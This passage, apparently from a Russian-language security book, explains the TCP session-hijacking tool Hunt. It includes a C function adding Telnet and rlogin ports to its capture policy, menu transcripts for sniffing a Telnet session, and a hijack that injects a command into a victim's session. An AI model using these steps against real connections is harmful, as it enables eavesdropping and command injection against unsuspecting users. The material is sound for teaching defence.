void add_telnet_rlogin_policy(void)
{
struct add_policy_info *api;
api = malloc(sizeof(struct add_policy_info));
assert(api);
memset(api, 0, sizeof(sizeof(struct add_policy_info)));
api->src_addr = 0;
api->src_mask = 0;
api->dst_addr = 0;
api->dst_mask = 0;
api->src_ports[0] = 0;
api->dst_ports[0] = htons(23);
api->dst_ports[1] = htons(513);
api->dst_ports[2] = 0;
list_push(&l_add_policy, api);
};Из исходного текста функции видно, что для добавления новых возможностей достаточно просто добавить новые номера портов и затем перекомпилировать программу. Когда программа Hunt захватывает Telnet– или rlogin-соединение, она отображает его в меню списка соединений, как показано ниже:
-> l
0) 10.0.1.1 [3014] —> 130.212.2.65 [23]
– Main Menu – rcvpkt 2664, free/alloc 63/64 –
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exitПервые две строчки – это то, что нас интересует. Программа Hunt часто обновляет меню сразу после введенной команды. Из приведенной экранной формы видно, что программа Hunt обнаружила Telnet-соединение. Ниже показан вызов режима наблюдения (снифинга) за соединением.
-> w
0) 10.0.1.1 [3014] —> 130.212.2.65 [23]
choose conn> 0
dump [s]rc/[d]st/[b]oth [b]> [cr]
print src/dst same characters y/n [n]> [cr]
CTRL-C to break
llss
<82>
<82><82><82><82><82>
Apps/ Library/ Mailboxes/ Makefile
bookmarks.html
dead.letter mail/ proj1.c public_html/
<82>
Например, пользователь программы Hunt запустил программу, захватил Telnet-соединение, выбрал режим наблюдения за ним, а затем перешел в Telnet-окно и набрал команду «ls». Команду «ls» (показанную как llss) можно увидеть ближе к началу приведенного выше протокола работы, за которой следует вывод данных в шестнадцатеричном формате, за которыми следуют файлы в директории пользователя, а затем опять шестнадцатеричный код. Вывод введенной команды «ls» в виде «llss» – результат отображения программой Hunt введенных пользователем символов с добавленным ответом сервера, возвращающего пользователю введенные им же символы. В итоге это выглядит как будто возможность вывода одних и тех же исходных и полученных символов, что работает не вполне корректно. Шестнадцатеричные символы являются форматирующими терминал-символами, которые обычно во время Telnet-сессии остаются за рамками рассмотрения. Конечно, в данном случае нас мало интересуют реализованные в программе Hunt возможности снифинга, хотя это и удобно. Главное – это понять, каким образом программа Hunt используется для перехвата сессий! Именно это демонстрируется ниже:
-> s
0) 10.0.1.1 [3014] –> 130.212.2.65 [23]
choose conn> 0
dump connection y/n [n]> [cr]
Enter the command string you wish executed or [cr]> cd Apps
Тем временем вот что было отображено в Telnet-окне пользователя:
futon>
futon> cd Apps
futon>Выходные данные были отображены на экране точно так же, как если бы они были введены в окне Telnet. Вернемся к программе Hunt:
Enter the command string you wish executed or [cr]> [cr]
[r]eset connection/[s]ynchronize/[n]one [r]> s
user have to type 8 chars and print 0 chars to synchronize
connection
CTRL-C to break